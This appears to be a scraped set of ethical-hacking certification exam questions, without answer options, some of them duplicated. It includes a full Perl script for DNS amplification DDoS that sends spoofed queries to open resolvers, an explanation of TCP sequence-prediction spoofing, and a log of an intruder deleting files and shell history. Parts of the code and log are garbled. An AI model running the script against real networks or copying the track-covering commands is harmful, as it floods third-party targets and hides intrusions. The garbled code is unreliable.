What type of attacks are these?
A Hacker would typically use a botnet to send a large number of queries to open DNS servers. These queries will be “spoofed” to look like they come from the target of the flooding, and the DNS server will reply to that network address.
It is generally possible to stop the more-common bot-delivered attack by blocking traffic from the attacking machines, which are identifiable. But blocking queries from DNS servers brings problems in its wake. A DNS server has a valid role to play in the workings of the Internet. Blocking traffic to a DNS server could also mean blocking legitimate users from sending e-mail or visiting a Web site. A single DNS query could trigger a response that is as much as 73 times larger than the request.
The following perl code can launch these attacks.
use Net::DNS::Resolver;
use Net::RawIP;
open(LIST,”ns.list”);
@list=;
close LIST;
chomp(@list);
my $lnum=@list;
my $i=0;
my $loop=0;
if ($ARGV[0] eq ”) {
print “Usage: ./hackme.pl <loop
count>n”;
exit(0);
}
while($loop < $ARGV[1]) {
while($i < $lnum) {
my $source = $ARGV[0];
my $dnspkt = new Net::DNS::Packet(“google.com”,”ANY”);
my $pktdata = $dnspkt->data;
my $sock = new Net::RawIP({udp=>{}});
?sock->set({ip => { saddr => $source, daddr => $list[$i], frag_off=>0,tos=>0,id=>1565}, udp => {source => 53, dest => 53, data=>$pktdata} });
$sock->send;
$i++;
}$loop++; $i=0;}
exit(0);
What type of attacks are these?
Check all of the following that could be a likely cause of the lack of response?
Jack is conducting a port scan of a target network. He knows that his target network has a web server and that a mail server is up and running. Jack has been sweeping the network but has not been able to get any responses from the remote target. Check all of the following that could be a likely cause of the lack of response?
?What would be considered passive scanning?
You have been charged with performing a number of security tests against a partner organization in Australia. Your boss, who is in charge of your company and the partner company’s IT departments, wants you to run tests just like an outside hacker would against their network. He also wants you to perform all of your tests without tipping off the IT department at the partner company. You have no knowledge of the partner company’s systems other than their name and their external website. You decide to perform some passive scanning so as not to tip off anyone at the partner company.?
What would be considered passive scanning?
A file integrity program such as Tripwire protects against Trojan horse attacks by:
A file integrity program such as Tripwire protects against Trojan horse attacks by:
What attacks can you successfully launch against a server using the above technique?
After a client sends a connection request (SYN) packet to the server, the server will respond (SYN-ACK) with a sequence number of its choosing, which then must be acknowledged (ACK) by the client. This sequence number is predictable; the attack connects to a service first with its own IP address, records the sequence number chosen, and then opens a second connection from a forged IP address. The attack doesn’t see the SYN-ACK (or any other packet) from the server, but can guess the correct responses. If the source IP address is used for authentication, then the attacker can use the one-sided communication to break into the server.
What attacks can you successfully launch against a server using the above technique?
How could you use a web server to help in identifying the OS that is being used?
John has performed a scan of the web server with NMAP but did not gather enough information to accurately identify which operating system is running on the remote host. How could you use a web server to help in identifying the OS that is being used?
What is the hacker trying to accomplish here?
John is the network administrator of XSECURITY systems. His network was recently compromised. He analyzes the logfiles to investigate the attack.
Take a look at the following Linux logfile snippet. The hacker compromised and “owned” a Linux machine. What is the hacker trying to accomplish here?
[root@apollo /]# rm rootkit.c
root@apollo /]# [root@apollo /]# ps -aux | grep inetd ; ps -aux | grep portmap ; rm /sbin/portmap ; rm /tmp/h ; rm /usr/sbin/rpc.portmap ; rm -rf .bash* ; rm -rf /root/.bash_history ; rm – rf /usr/sbin/namedps -aux | grep inetd ; ps -aux | grep portmap ; rm /sbin/por359 ? 00:00:00 inetd 59 ? 00:00:00 inetd
m: cannot remove `/tmp/h’: No such file or directory
m: cannot remove `/usr/sbin/rpc.portmap’: No such file or directory [root@apollo /]# ps -aux | grep portmap
root@apollo /]# [root@apollo /]# ps -aux | grep inetd ; ps -aux | grep portmap ; rm /sbin/portmap ; rm /tmp/h ; rm /usr/sbin/rpc.portmap ; rm -rf .bash* ; rm -rf /root/.bash_history ; rm – rf /usr/sbin/namedps -aux | grep inetd ; ps -aux | grep portmap ; rm /sbin/por359 ? 00:00:00 inetd
m: cannot remove `/sbin/portmap’: No such file or directory
m: cannot remove `/tmp/h’: No such file or directory
>rm: cannot remove `/usr/sbin/rpc.portmap’: No such file or directory root@apollo /]# rm: cannot remove `/sbin/portmap’: No such file or directory
What do you think is the most likely reason behind this?
A user on your Windows 2000 network has discovered that he can use L0phtcrack to sniff the SMB exchange which carries user logons. The user is plugged into a hub with 23 other systems. However, he is unable to capture any logons though he knows that other users are logging on. What do you think is the most likely reason behind this?
Which of the following LM hashes represents a password of less than 8 characters?
Which of the following LM hashes represents a password of less than 8 characters?